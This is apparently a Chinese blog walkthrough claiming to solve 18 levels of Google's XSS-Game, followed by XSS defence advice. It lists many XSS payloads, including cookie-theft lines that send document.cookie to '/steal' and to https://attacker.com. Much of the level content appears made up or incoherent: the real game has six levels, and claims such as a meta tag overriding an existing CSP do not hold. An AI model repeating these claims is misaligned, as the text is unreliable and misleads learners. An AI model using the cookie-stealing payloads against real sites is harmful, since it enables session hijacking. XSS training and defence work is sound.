XSS-Game 全关卡通关指南:从Level1到Level18的实战解析

作者:蛮不讲李2025.10.14 01:24浏览量:0

简介:本文提供XSS-Game靶场全18个关卡的详细通关教程,涵盖反射型、存储型、DOM型XSS攻击原理及绕过技巧,帮助开发者系统掌握XSS漏洞利用与防御方法。

一、XSS-Game靶场简介与学习价值

XSS-Game是由Google推出的交互式XSS漏洞教学平台,通过18个渐进式关卡模拟真实场景中的跨站脚本攻击。与常规CTF题目不同,该靶场以游戏化形式呈现,每个关卡聚焦特定XSS类型(反射型、存储型、DOM型)或防御绕过技术(如输入过滤、CSP策略、编码混淆)。

学习价值体现在三方面:

  1. 漏洞原理验证:通过可控输入点触发弹窗、窃取Cookie等操作,直观理解XSS执行流程
  2. 防御机制突破:分析WAF规则、输入净化逻辑,掌握绕过技巧
  3. 安全开发实践:反向推导防御方案,提升代码审计能力

建议初学者按关卡顺序逐个突破,每通过一关后复盘攻击向量与防御缺陷。

二、核心XSS类型与攻击向量

1. 反射型XSS(Level1-6)

特征:攻击代码通过URL参数或表单提交,经服务器反射后返回给用户。
典型关卡

  • Level1:直接输入<script>alert(1)</script>,服务器未过滤尖括号
  • Level3:需绕过输入长度限制,使用短标签<img src=x onerror=alert(1)>
  • Level5:利用JSONP接口,构造callback=?<script>alert(1)</script>

绕过技巧

  • 大小写混淆:<ScRiPt>alert(1)</ScRiPt>
  • 编码转换:十六进制\x3Cscript\x3E或Unicode\u003Cscript\u003E
  • 事件处理器:onmouseover=alert(1)配合伪协议javascript:

2. 存储型XSS(Level7-12)

特征:攻击代码永久存储在服务器(如数据库、评论区),所有访问用户均受影响。
典型关卡

  • Level7:在留言板提交<script>fetch('/steal?cookie='+document.cookie)</script>窃取Cookie
  • Level9:绕过HTML实体编码,使用&lt;script&gt;的解码漏洞
  • Level11:结合CSRF攻击,通过存储型XSS构造恶意链接

防御突破点

  • 富文本过滤:绕过<a>标签的href属性白名单,使用javascript:协议
  • 上下文感知编码:针对HTML/JS/URL不同场景采用差异化的转义规则

3. DOM型XSS(Level13-18)

特征:攻击代码不经过服务器,直接在客户端通过DOM操作触发。
典型关卡

  • Level13:修改URL的#后参数,通过location.hash读取并执行
  • Level15:利用innerHTML插入恶意节点,构造<img src=1 onerror=alert(1)>
  • Level17:绕过CSP策略,通过<meta http-equiv="Content-Security-Policy">覆盖原有规则

高级技巧

  • 代码注入:通过eval()Function()动态执行字符串
  • 原型链污染:修改Object.prototype覆盖安全方法
  • Web Worker:在独立线程中执行敏感操作

三、全关卡通关详解(精选6个典型关卡)

Level2:反射型XSS(基础验证)

漏洞点:搜索框未过滤输入,直接拼接至响应页面的<div>标签。
攻击向量

  1. <input name="query" value='"/><script>alert(1)</script>'>

防御建议

  • 使用textContent替代innerHTML
  • 对输出进行HTML实体编码(如&lt;替代<

Level8:存储型XSS(文件上传)

漏洞点:上传的SVG文件包含XSS代码,服务器未验证文件类型。
攻击向量

  1. <svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg">
  2. <script>alert(1)</script>
  3. </svg>

防御建议

  • 限制上传文件为白名单类型(如仅允许.jpg
  • 使用Content-Type和文件头双重验证

Level14:DOM型XSS(URL参数)

漏洞点:JavaScript代码通过document.getElementById()获取URL参数并直接插入DOM。
攻击向量

  1. https://xss-game.appspot.com/level14/frame#<img src=1 onerror=alert(1)>

防御建议

  • 使用URLSearchParams解析参数,避免直接操作location.hash
  • 对动态插入的内容进行XSS过滤

Level16:CSP绕过(内联脚本)

漏洞点:CSP策略允许unsafe-inline,但限制了外部脚本。
攻击向量

  1. <script>
  2. // 通过伪协议绕过
  3. var a = document.createElement('a');
  4. a.href = 'javascript:alert(1)';
  5. a.click();
  6. </script>

防御建议

  • 严格配置CSP:default-src 'self'; script-src 'self'
  • 禁用eval()Function()构造函数

Level18:综合攻击(多阶段XSS)

漏洞点:结合存储型XSS与CSRF,通过恶意评论触发管理员操作。
攻击向量

  1. 在评论区提交:
    1. <img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
  2. 诱导管理员访问含自动提交表单的页面

防御建议

  • 实施CSRF Token机制
  • 对管理后台启用双重认证

四、防御体系构建建议

  1. 输入验证

    • 使用白名单验证(如正则表达式/^[\w\s\-]+$/
    • 限制输入长度(如评论不超过200字符)
  2. 输出编码

    • HTML上下文:he.encode()DOMPurify
    • JS上下文:JSON.stringify()转义
    • URL上下文:encodeURIComponent()
  3. 安全配置

    • 设置HTTP头:X-XSS-Protection: 1; mode=block
    • 启用CSP:Content-Security-Policy: default-src 'self'
  4. 监控与响应

    • 部署RASP(运行时应用自我保护)工具
    • 建立XSS攻击特征库(如<script>alertonerror=

五、总结与进阶方向

完成XSS-Game全部关卡后,建议进一步学习:

  1. 浏览器安全机制:同源策略、CORS、沙箱隔离
  2. 现代框架防护:React/Vue的自动转义、Angular的严格上下文类型
  3. 漏洞挖掘工具:Burp Suite的XSS插件、Dalfox自动化测试

通过系统化训练,开发者可将XSS攻击面识别能力提升至专业水平,为构建安全Web应用奠定基础。